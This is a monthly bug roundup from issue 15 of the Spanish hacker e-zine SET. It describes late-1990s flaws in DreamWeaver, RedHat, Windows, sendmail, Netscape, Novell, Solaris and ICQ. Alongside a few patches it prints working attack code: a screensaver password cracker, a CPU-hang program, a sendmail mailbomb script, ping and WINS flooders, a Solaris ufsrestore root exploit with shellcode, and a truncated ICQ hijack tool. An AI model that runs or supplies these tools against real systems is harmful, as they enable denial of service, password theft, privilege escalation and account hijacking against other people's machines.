SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

SET 15

67939 visitas

Los bugs del mes

      9496

Autor: SET Staff
-[ 0x0A ]--------------------------------------------------------------------
-[ LOS BUGS DEL MES ]--------------------------------------------------------
-[ by SET Staff ]-----------------------------------------------------SET-15-

-( 0x01 )-
Para     : Macromedia DreamWeaver
Tema     : Inseguridad en los password
Patch    : Y eso que es?
Creditos : Jeff Forristal

Decripcion y Notas:

Pues resulta que si almacenamos las claves de acceso al servidor FTP com
el Macromedia DreamWeaber, estas se guardan en el registro de Windows,
concretamente en:

/HKEY_CURRENT_USER/Software/Macromedia/Dreamweaver/Sites/-Site(x)/User PW

Si, de acuerdo, se usa un sistema de cifrado para proteger los datos.
Exactamente el mismo sistema que con el Ws_FTP, algo asi como convertir
los caracteres a hexadecimal y sumarles su desplazamiento en la cadena,
comenzando por el 0. (Uf!, ni el PGP ;) )

Parche... Quien necesita parche. Macromedia ha sido avisada y consideran
que no es un fallo lo suficientemente grave como para desarrollar un parche.
Que todo el mundo tenga acceso a nuestra clave no es grave, que va. Solo
es un simple fallo.


-( 0x02 )-
Para    : RedHat Linux 5.1
Tema    : Permisos
Patch  : ftp://ftp.redhat.com/updates/5.1/i386/linuxconf-1.11r11-rh3.i386.rpm
      : ftp://ftp.redhat.com/updates/5.1/alpha/linuxconf-1.11r11-rh3.alpha.rpm
Creditos : Michael K. Johnson

Descripcion y Notas:

Se trata simplemente de un error en los permisos del programa linuxconf que
acompa€a a la distribucion de RedHat desde su version 5.0. Inadvertidamente
el programa se instala con SetUID root, con lo que esto conlleva. Asi,
cualquier usuario podria modificar la configuracion como si fuese el root.

La solucion es tan simple como hacer:

        chmod -s /bin/linuxconf

O bien, bajarse los correspondientes parches arriba indicados.


-( 0x03 )-
Para     : Salvapantallas de Windows 95
Tema     : Password
Patch    : Nada tan simple como no usar W95
Creditos : CrazyLinux

<++> set_015/exploits/95sscrk.bas
DECLARE FUNCTION DecryptByte! (bytes!, ya!)
DECLARE FUNCTION HexVal! (coder$)
DIM SHARED byte(16) AS INTEGER

CLS
PRINT "Crazydog's w95 screensaver cracker, basic version"
INPUT "Input char part of ScreenSave_Data(from registry):", code$

z = LEN(code$): IF z MOD 2 <> 0 THEN PRINT "Must be even # of chars!": END

ON ERROR GOTO 40

FOR y = 1 TO z STEP 2
balon = balon + 1
nibbleone$ = MID$(code$, y, 1): nibbletwo$ = MID$(code$, y + 1, 1)
mega = (HexVal(nibbleone$) * 16) + HexVal(nibbletwo$)
IF HexVal(nibbletwo$) < 0 THEN mega = -255  ' one if only.
IF mega < 0 THEN PRINT "That didn't make any sense.": END
byte(y) = DecryptByte(mega, balon):
wilma$ = wilma$ + CHR$(byte(y))
NEXT y

PRINT "The code is: "; wilma$; " (case insensitive)"
END
40 PRINT "[unknown]": END

FUNCTION DecryptByte (bytes, ya)
DIM xorpattern(31) AS INTEGER
xorpattern(1) = &H48: xorpattern(2) = &HEE: xorpattern(3) = &H76
xorpattern(4) = &H1D: xorpattern(5) = &H67: xorpattern(6) = &H69
xorpattern(7) = &HA1: xorpattern(8) = &H1B: xorpattern(9) = &H7A
xorpattern(10) = &H8C: xorpattern(11) = &H47: xorpattern(12) = &HF8
xorpattern(13) = &H54: xorpattern(14) = &H95: xorpattern(15) = &H97
xorpattern(16) = &H5F
DecryptByte = bytes XOR xorpattern(ya)
END FUNCTION

FUNCTION HexVal (coder$)
coder$ = UCASE$(coder$)
SELECT CASE coder$
 CASE "0"
 whee = 0
 CASE "1"
 whee = 1
 CASE "2"
 whee = 2
 CASE "3"
 whee = 3
 CASE "4"
 whee = 4
 CASE "5"
 whee = 5
 CASE "6"
 whee = 6
 CASE "7"
 whee = 7
 CASE "8"
 whee = 8
 CASE "9"
 whee = 9
 CASE "A"
 whee = 10
 CASE "B"
 whee = 11
 CASE "C"
 whee = 12
 CASE "D"
 whee = 13
 CASE "E"
 whee = 14
 CASE "F"
 whee = 15
 CASE ELSE
 whee = -21
END SELECT

HexVal = whee

END FUNCTION
<-->

Descripcion y Notas:

Algo tan basico y tan simple como descubrir las claves que cualquier usuario
tiene puesto a su salvapantallas en W95. Nada mas mirar en el registro,
y la clave que aparece, en hexadecimal, esta codificada de la misma forma
que comentabamos previamente con el bug del Macromedia DreamWeaver. Seguro
que tambien consideran que es un fallo trivial.


-( 0x04 )-
Para     : K6
Tema     : Cuelgue total
Patch    : AMD didn't know it
Creditos : Benoit Poulot-Cazajous

$ cat a.s
.text
.align 4096
.globl _start
_start:
movl _start, %edi
cmpb 0x80000000(%edi),%dl
je nowhere
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out

Descripcion y Notas:

Pues tan simple y tan sencillo como colgar procesador K6 usando Linux.
Al parecer esto ya se ha solucionado con el kernel 2.1.43 y posiblemente
con el 2.0.34. De todas formas, AMD aun no se ha pronunciado al respecto.
Quizas por su nueva alianza con Micro$oft para las nuevas extensiones
3D de su nuevo micro.

No se, no se, pero tengo la impresion que voy a desempolvar mi viejo Z80,
que ese ni con F0 0F C7 C8, ni con esta cosa nueva se me cuelga. Ademas,
ya le estan desarrollando una version de Linux ;)


-( 0x05 )-
Para     : FreeBSD 2.2.*
Tema     : Crash
Patch    : ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:05/
Creditos : Aleph One

Descripcion y Notas:

Veamos como lo explico... Ah, si!

Al intentar hacer un hard link, el kernel debe comprobar si el enlace y
el fichero estan en el mismo sistema de ficheros. Pero resulta que cuando
hacemos el enlace de un fichero de dispositivo a un fichero, el sistema
puede venirse abajo.


-( 0x06 )-
Para     : SendMail 8.8.8
Tema     : Autentificacion
Patch    : Aqui mismito
Creditos : Michal Zalewski & Valentin Pavlov (Parche)

<++> set_015/exploits/safebomb.sh
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20

echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo

if [ "$4" = "" ]; then
  echo "USAGE: $0 msgfile address server sender"
  echo
  echo "  msgfile - file to send as a message body"
  echo "  address - address of lucky recipient"
  echo "  server  - outgoing smtp server w/sendmail"
  echo "  sender  - introduce yourself"
  echo
  echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  echo "Think twice BEFORE you use this program in any way. Also,"
  echo "I've never said this program is 100% safe nor bug-free."
  echo
  sleep 1
  exit 0
fi

if [ ! -f $1 ]; then
  echo "Message file not found."
  echo
  exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

while [ -f $1 ]; do
  $PLIK|telnet $3 25 &>/dev/null &
  let SENT=SENT+1
  echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  CONNECTED=`ps|grep -c "telnet $3"`
  if [ "$LIMIT" -le "$CONNECTED" ]; then
    while [ "$LIMIT" -le "$CONNECTED" ]; do
      sleep 1
    done
  fi
  if [ "$SENT" -ge "$MAX" ]; then
    echo "It's just an example, sorry."
    echo
    exit 0
  fi
done
<-->

Descripcion y Notas:

Se trata de un problema basico de identificacion. Cuando conectamos con el
demonio de correo y procedemos a identificarnos con HELO, podemos introducir
una cadena de un minimo de 1024 Bytes, con lo que el resto de los datos
no se registran. 

Un simple parche nos lo pone Val "Capone". Nos recomienda recompilar el
sendmail, incluyendo la siguiente linea en el fichero conf.h:

#define PICKY_HELO_CHECK 1

Con esto forzamos al sendmail a realizar un procedimiento de autentificacion.


-( 0x07 )-
Para     : Windows 95/98/NT
Tema     : AutoRun
Patch    : Desactivar el AutoRun
Creditos : Matt Hallacy

Descripcion y Notas:

Pues supongamos una maquina bloqueada con un password, bien sea el
salvapantallas, bien el bloqueo de NT... Si introducimos un CD con
autoejecucion, el programa en cuestion sera ejecutado, desbloqueando el
ordenador.


-( 0x08 )-
Para     : HP UX
Tema     : CoreDump
Patch    : Pues parece que no es muy necesario
Creditos : dauphin Robert

Descripcion y Notas:

Y seguimos con los problemas de los buffers... Y es que claro, como nadie les
presta nunca atencion... Mis pobres buffers, que me los dejan abandonados.

Se trata de que al hacer un simple finger con un usuario que tenga mas de
200 caracteres el sistema realiza un coredump. Si alguien le quiere sacar
provecho, pues ahi lo tiene.


-( 0x09 )-
Para     : Netscape
Tema     : DoS
Patch    : Tan simple como tener cuidado con los esguinces de dedos
Creditos : Robert Thomas

Descripcion y Notas:

Cuando configuramos nuestro navegador Netscape para que use algun proxy en
la conexion, podemos hacerlo a traves de la autoconfiguracion del proxy.
Resulta que en ocasiones podemos introducir una cadena erronea de retorno,
como. Por ejemplo, la cadena correcta seria:

        return "PROXY 10.1.1.1:8080; PROXY 10.1.1.2:8080; DIRECT";

que indica que se use elproxy 10.1.1.1, si no responde, el 10.1.1.2, y si
no responde tampoco, pues probar la conexion directa. Ahora supongamos que
la cadena en cuestion es:

        return "PROXY 10.1.1.18080; PROXY 10.1.1.2:8080; DIRECT";

Pues se espera que diga que 10.1.1.18080 no es una direccion valida, o
se busque la vida con los 8 bits mas bajos de 18080. Pues no, Netscape es
mas cachondo y va y nos cuelga... Asi que mas cuidado al introducir los
datos, ok?


-( 0x0A )-
Para     : Novell Netware 4.x
Tema     : Cuentas ocultas
Patch    : Borrar la cuenta
Creditos : Un tal jdrodriguez

Descripcion y Notas:

Pongamonos en el lugar de un administrador de Novell y ejecutemos la
siguiente secuencia de instrucciones:

         1 - Ejecutamos NWADMIN.
         2 - Creamos un usuario.
         3 - Le damos al usuario privilegios de administrador.
         4 - Pulsamos con el boton derecho sobre el usuario.
             [ Ay! Que se me empieza a parecer al Potato 95 ]
         5 - Seleccionamos las trustees.
         6 - Eliminamos las trustees Root y Public.
         7 - Seleccionamos al usuario y cambiamos sus derechos (objeto y
             propiedad).
         8 - Le asignamos solo Supervisor.
             [ Para que mas ;) ]
         9 - Seleccionamos el Filtro de Derechos de Herencia.
             [ Hasta los programas se pelean por el testamento XDD ]
        10 - Deseleccionamos todos los valores.
        11 - Regresamos a la pantalla principal de NWADMIN.
        12 - Refrescamos la pantalla.
        13 - La cuenta del usuario ha desaparecido !!

Podemos probar como queramos, que la cuenta no aparecera disponible, pero
sigue ahi. Para eliminarla, deberemos arrancar el servidor en modo bindery.
Ahora a€adimos SET BINDERY CONTEXT en el fichero AUTOEXEC.NCF

Una vez hecho esto, usamos el programa USERDUMP para obtener la ID del
usuario y cambiamos la password con el programa CHGPASS. Solo nos queda
entrar como el usuario y seguir los anteriores pasos a la inversa. En
especial, reestablecer las trustees de Root y Public. Y ya esta.


-( 0x0B )-
Para     : Ping 
Tema     : Flood
Patch    : Sentido comun
Creditos : AntireZ

<++> set_015/exploits/pingflood.c
/*

   pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
   enhanced by David Welton <davidw@cks.com>
   I tested it only on Linux RedHat 4.1 and 5.0.
   David Welton tested it on Debian GNU/Linux and OpenBSD reporting it
   works.

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License.

-------------------------------------------------------------------------

   pingflood.c allows non-root users to 'ping flood'.

   use it as follows:

        pingflood <hostname>

   WARNING: this program is only for demonstrative use only. USE IT AT YOUR
   OWN RISK! The authors decline all responsibility for
   damage caused by misuse of the program.

   ***   if you use this program to cause harm to others, you are very
         small, petty and pathetic.    ***

   to compile: gcc -o pingflood pingflood.c

-------------------------------------------------------------------------

   TECHNICAL NOTES

   When ping runs it normally sends an ICMP ECHO_REQUEST every second.
   It accomplishes this using the alarm system call and waiting for a
   SIGALRM signal from the kernel.
   Pingflood simply sends a lot of SIGALRM signals to the ping process.
   It can do this because the ping process is owned by the user.

Salvatore Sanfilippo

*/

#include <signal.h>

#define PING "/bin/ping"

main( int argc, char *argv[] )
{
  int pid_ping;

  if (argc < 2) {
    printf("use: %s <hostname>\n", argv[0]);
    exit(0);
  }

  if(!(pid_ping = fork()))
    execl(PING, "ping", argv[1], NULL);

  if ( pid_ping <=0 ) {
    printf("pid <= 0\n");
    exit(1);
  }

  sleep (1);  /* give it a second to start going  */
  while (1)
    if ( kill(pid_ping, SIGALRM) )
      exit(1);
}
<-->

Descripcion y Notas:

El programa ping no es mas que un paquete ICMP ECHO, que se envia a un
host para ver si este responde.

Cuando hacemos un ping a una maquina, esta tiene que procesarlo. Y aunque
se trate de un proceso sencillo, pues no es mas que ver la direccion de
origen y enviarle un paquete ICMP ECHO_REPLY (pong), siempre consume recursos
del sistema. Si no es un ping, sino que son varios a la vez, pues la maquina
se vuelve mas lenta. Pero si lo que pasa es que recibe un monton de
solicitudes ICMP ECHO_REQUEST (ping), puede que la maquina se colapse.

Pero lo que hace este programa es otra cosa muy similar ;)

Veamos. El proceso ping tambien consume recursos en nuestra maquina, y lo
habitual es que se envie un ICMP ECHO_REQUEST cada segundo, por defecto.
Para saber cuando se tiene que enviar un ping, el sistema usa la se€al
SIGALRM. Cuando se produce la se€al, se envia el ping. Lo que hace
pingflood no es ni mas ni menos que generar continuas se€ales SIGALRM,
con lo que el programa ping puede no dar abasto y colapsarse <-> flood


-( 0x0C )-
Para     : Windows NT 3.51/4
Tema     : Inconsistencia del sistema
Patch    : Linux, linux, linux... Lo habia dicho ya? ;)
Creditos : Crank & Phuzz

<++> set_015/exploits/coke.c
/*  coke.c */

/*  coke +0.34 by crank and phuzz

    this little program exploits windowsnt servers 3.51/4.0 which
    are running wins (windows internet name service).

    depending on how the systems logging is configured it will create
    errors in the event logs, which will cause in a lack of the systems
    preformance, as well as available hard disk space.

    i've known about this exploit for sometime now, and thought everyone
    else did. but i never have seen anything for it. so here it is.

    coderight: you may use any code shown as long as credit is given.

    credit goes to:
              neonsurge who discovered this.
              justin marcus who also discovered this.

    tested on:
              slackware    kernel 2.0.32
                           kernel 2.0.33
              debian       kernel 2.0.33
              redhat       kernel 2.1.95

    compile: gcc -o coke coke.c
*/

#include <stdio.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* defines */

#define GARBAGE "just a bunch of crap really does not matter"
#define VERSION "+0.34"

/* variables */

char    *buf, *hn;
int     s, soc, con, i;
int     count, x;
int     twirl = 3;
int     countstr = 0;

/* prototypes */

int     twirly(int *twirl);
void    usage(char *argv[]);
int     main(int argc, char *argv[]);
int     sendPacket(char *buf, char *argv[]);

/* structures */

struct  sockaddr_in blah;
struct  hostent *hp;

/* let the fun begin */
int     main(int argc, char *argv[])
{
        if (argc < 3)
        {
                usage(argv);
        }
        /*  create the garbage */
        buf = (char *)malloc(10000);

        for (i = 0; i < 25; i++)
                strcat(buf, GARBAGE);
        strcat(buf, "\n");

        printf("coke %s     crank|phuzz\n\n",VERSION);

        sendPacket(buf,argv);

        for (x = 0; x <= count; x++)
        {
                sendPacket(buf,argv);

                /* just purdy stuff */
                fprintf(stderr, "\rsending packet: %d (%c)", x, twirly(&twirl));
                if (count <= 200)
                        usleep(1500*(10));
                else
                        usleep(700*(10));

                /* lets send the garbage to the server */
        }
        fprintf(stderr, "\rsending packet: %d (caffine will kill you)",--x);
        printf("\n");

        close(soc);

        /* free up our memory like good programmers */
        free(buf);

        /* done so we wont reach the end of a non-void function */
        exit(0);
}

int     sendPacket(char *buf, char *argv[])
{
        hn = argv[1];
        hp = gethostbyname(hn);

        /* number of packets to send */
        count=(atoi(argv[2]));

        /*  check target */
        if (hp==NULL)
        {
                perror("coke: gethostbyname()");
                exit(0);
        }

        bzero((char*)&blah, sizeof(blah));
        bcopy(hp->h_addr, (char *)&blah.sin_addr, hp->h_length);

        blah.sin_family = hp->h_addrtype;
        blah.sin_port = htons(42);

        /*  create a socket */
        soc = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

        if (!soc)
        {
                perror("coke: socket()");
                close(soc);
                exit(1);
        }

        /*  connect to target */
        con = connect(soc, (struct sockaddr *)&blah, sizeof(blah));

        if (!con)
        {
                perror("coke: connect()");
                close(soc);
                exit(1);
        }
        sendto(soc, buf, strlen(buf),0 ,(struct sockaddr *)&blah, sizeof(struct
               sockaddr));
        close(soc);
        return(0);
}

int     twirly(int *twirl)
{
        if (*twirl > 3) *twirl = 0;
        switch ((*twirl)++)
        {
                case 0: return('|'); break; case 1: return('/'); break;
                case 2: return('-'); break; case 3: return('\\'); break;
        }
        return(0);
}

/* for retards */
void    usage(char *argv[])
{
        printf("coke %s  crank|phuzz\n\nusage: %s <target> <number of packets
                to send>\n",VERSION,argv[0]);
        exit(0);
}
<-->

Descripcion y Notas:

Con este codigo simplemente conseguiremos llenar de basura un servidor
NT 3.51/4.0, apareciendo registros erroneos en los logs como cosa mas
significativa. El problema principal es el consecuente aumento del
tama€o del archivo de logs, que si crece demasiado puede comenzar a causar
problemas en el sistema.

Existe una solucion muy simple, que se basa en limitar el tama€o de los
archivos de logs, con lo que sabemos que nunca causara problemas de
este tipo. Pero nos arriesgamos a perder entradas interesantes en los
mismos. Para evitarlo existen multitud de soluciones del estilo de almacenar
estos datos directamente en un backup, sacarlo por impresora, etc. A gusto
del consumidor, vamos.




-( 0x0E )-
Para     : Pine/Pico 3.96
Tema     : Caracteres de control
Patch    : Sigue leyendo
Creditos : Michal Zalewski

<++> set_015/exploits/pinepico.patch
--- display.c.orig      Wed Jul 10 18:59:09 1996
+++ display.c   Sat Apr 25 14:23:41 1998
@@ -266,7 +266,7 @@
        }
         while ((vtcol&0x07) != 0);
     }
-    else if (c.c < 0x20 || c.c == 0x7F) {
+    else if (c.c < 0x20 || c.c == 0x7F || c.c == 0x9B) {
        ac.c = '^';
         vtputc(ac);
        ac.c = (c.c ^ 0x40);
<-->

Descripcion y Notas:

Aqui tenemos otro fallo mas del Pine 3.96 y el Pico que le acompa€a ;)

Se trata de un error en el manejo de los caracteres de control, que dejan
el riesgo potencial de la ejecucion de cualquier comando. Por poner un
ejemplo, al editar un fichero que contenga tan solo dos bytes: 0x9B 0x63.
Nada como ejecutarlo para ver el gran riesgo que esto supone, mas cuando
el error aparece en Pico, pero Pine lo usa a la hora de componer los
mensajes...

Como regalito, se incluye el patch, tambien proporcionado por Michal, que
ya viene apareciendo como habitual de esta seccion.


-( 0x0F )-

-( 0x10 )-
Para     : Solaris 2.4/2.5.x/2.6
Tema     : ufsrestore
Patch    : Pues por la pagina de SUN
Creditos : Humble

<++> set_015/exploits/ufs_bug.c
// ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit
// by humble
// thanks to plaguez for help

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 300
#define EXTRA 100
#define STACK_OFFSET -600
#define SPARC_NOP 0xac15a16e

// normal shell code cept I added a bunch of sll's and add's
// to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7)
// I don't know sparc assembly so this might be dumb :P

// also added code to do seteuid(0); setuid(0); from erik's buffer
// overrun page

u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
   "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
   "\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
   "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
   "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
   "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
   "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
   "\x90\x0b\x80\x0e"
   "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
   "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
   "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

   u_long get_sp(void)
   {
   __asm__("mov %sp,%i0 \n");
   }

   void main(int argc, char *argv[])
   {
   char buf[BUF_LENGTH + EXTRA + 8];
   long targ_addr;
   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0,a=0;

   if(argc > 1) dso=atoi(argv[1]);

   long_p =(u_long *) buf ;
   targ_addr = get_sp() - STACK_OFFSET - dso;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
   *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
   *char_p++ = sparc_shellcode[i];

   long_p = (u_long *) char_p;

   for (i = 0; i < EXTRA / sizeof(u_long); i++)
   *long_p++ =targ_addr;

   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
   targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   printf("hit ctrl-c and then type y\n");
   execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0);
   perror("execl failed");
   }
<-->

Descripcion y Notas:

Pues de momento baste decir que es un simple exploit que se aprovecha de
un fallo en la implementacion del ufsrestore en Solaris.


-( 0x11 )-
Para     : ICQ
Tema     : Hijack
Patch    : No usar ICQ. Cuantas veces tendre que repetirlo
Creditos : Wumpus

<++> set_015/exploits/icq_hijack.c
/*
 .  ICQ Hijaak
 .  Version 1C
 .
 .  Author:  wumpus@innocent.com
 .  Copyright (c) 1998 Wolvesbane
 .
 .  By downloading or compiling this program, you agree to the terms of this
 .  license. If you do not agree with any of these terms you MUST delete this
 .  program immediately from all storage areas (including browser caches).
 .  (A) You agree not to use this program in any way that would constitute a
 .      violate of any applicable laws.  This may included federal laws if you
 .      live in the United States and similar laws regarding computer security
 .      in other countries.
 .  (B) You agree to hold the authors (referred to collective as Wolvesbane)
 .      harmless in any damages that result due to your possession or use of
 .      this software.
 .  (C) Wolvesbane does not claim that this program implements any functions.
 .      As the saying goes, "You get what you pay for." -- And you didn't pay
 .      anything for this.
 .  (D) This software is FREE for _NON-COMMERCIAL_ use.  You may not use this
 .      program for any commercial use (or any other activity which makes you
 .      money with the assistance of this program ).  The author is not
 .      interested in commercial use of this program (and cannot think of what
 .      commercial use would consist of ).
 .  (E) This program was created using Linux with IP-Masquerading to run the
 .      ICQ program unmodified and without any dissassembly.  The testing
 .      was done with volunteers, and with a second computer logged into the
 .      ICQ network.  No ICQ users were harmed in the creation or testing of
 .      this program.
 .  (F) This copyright applies only to the code written by Wolvesbane, and not
 .      to anything included under Fair Use.
 .  (G) Please note that if you use ANY sections of this code in your work,
 .      (which I expressly allow as long as it is NON-COMMERCIAL), you are
 .      obligated to give me some credit in your comments (if it is a source
 .      file ) or in a string constant if it is a binary file.  If you do not
 .      wish to do so, you may NOT include ANY portion of this file in your
 .      own work.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>        /* for AF_INET */
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
                int * addr_count,
                struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
/*=========================================================================*/
typedef unsigned short int      u16;
typedef unsigned long int       u32;
typedef unsigned char           u8;
/*=========================================================================*/
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))
unsigned char icq_check_data[256] = {
        0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
        0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
        0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
        0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
        0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
        0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
        0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
        0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
        0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
        0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
        0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
        0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
        0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
        0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
        0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
        0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
        0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
        0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
        0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
        0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
        0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
        0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
        0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
        0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
        0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
        0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
        0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
        0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
        0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES     255
int Resolve( char * hostname, struct in_addr * addr ) {
        struct hostent * hinfo;
        (void)memset( (void *)addr, 0, sizeof( struct in_addr ));
        if ( inet_aton( hostname, addr) ) return SUCCESS;
        if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;
        (void)memcpy( (void *)addr, (void *)hinfo->h_addr,
                sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
        struct in_addr ** addresses ) {
        int                     host_count;
        int                     i;
        char                    * p;
        struct  in_addr         address;
        struct  hostent         * hinfo;
        if ( inet_aton( hostname, &address ) ) {
                p = (char *)malloc(sizeof(address));
                if ( !p ) {
                        fprintf(stderr,"MultiResolve: Allocation failed!\n");
                        return FAILURE;
                }
                (void)memcpy((void *)p,(void *)&address, sizeof(address) );
                *addr_count = 1;
                *addresses = (struct in_addr *)p; return SUCCESS; }
        if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;
        if ( hinfo->h_length != sizeof( struct in_addr ) ) {
                fprintf(stderr,"MultiResolve:  h_length (%d) not equal "\
                        "to size of struct inaddr (%d) ",
                        hinfo->h_length, sizeof(struct in_addr) );
                return FAILURE;
        }
        host_count = 0;
        for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
                struct in_addr  * addr_ptr;
